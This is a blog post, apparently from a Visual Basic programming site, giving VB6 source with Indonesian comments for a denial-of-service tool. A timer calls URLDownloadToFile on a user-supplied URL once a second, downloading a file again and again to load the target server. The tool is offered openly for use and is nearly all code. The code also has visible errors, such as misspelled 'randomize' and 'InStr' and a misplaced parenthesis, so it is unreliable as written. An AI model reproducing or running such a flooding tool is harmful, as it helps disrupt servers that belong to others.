D O S With Vb


‘http:\\programmervb.wordpress.com
‘fungsi download file
Private Declare Function URLDownloadToFile Lib “Urlmon” Alias “URLDownloadToFileA” (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

‘fungsi mendapatkan folder temporary
Private Declare Function getTempPath Lib “kernel32” Alias “GetTempPathA” (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Private Sub form_load()
Timer1.Enabled = False
End Sub

‘generate tulisan menjadi acak
Public Function random(ByVal low As Long, ByVal High As Long) As Long
radomize
radndom = Int(High – low + 1) * Rnd + low
End Function

‘fungsi untuk dapatkan temporary
Public Function GetTempDir() As String
Dim buff As String
buff = String(255, Chr$(0))
getTempPath Len(buff), buff
GetTempDir = Left(buff, IntStr(1, buff, Chr(0), vbTextCompare) – 1)
End Function

‘program inti DDOS
Private Sub timer1_timer()
Dim FileName As String
Dim DDOS
‘acak nama sbg nama file yg disimpan
FileName = GetTempDir & random(0, 999999999)
‘download file
DDOS = URLDownloadToFile(0, Text1.Text, FileName, 0)
End Sub

‘tombol memulaid DDOS
Private Sub command1_click()
Timer1.Enabled = True ‘hidupkan timer untuk looping
Timer1.Interval = 1000 ‘ set 1 detik program download file diserver
Command2.Enabled = True
Command1.Enabled = False
End Sub

‘stop semua aksi
Private Sub command2_click()
Timer1.Enabled = False
Command1.Enabled = True
Command2.Enabled = False
End Sub

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s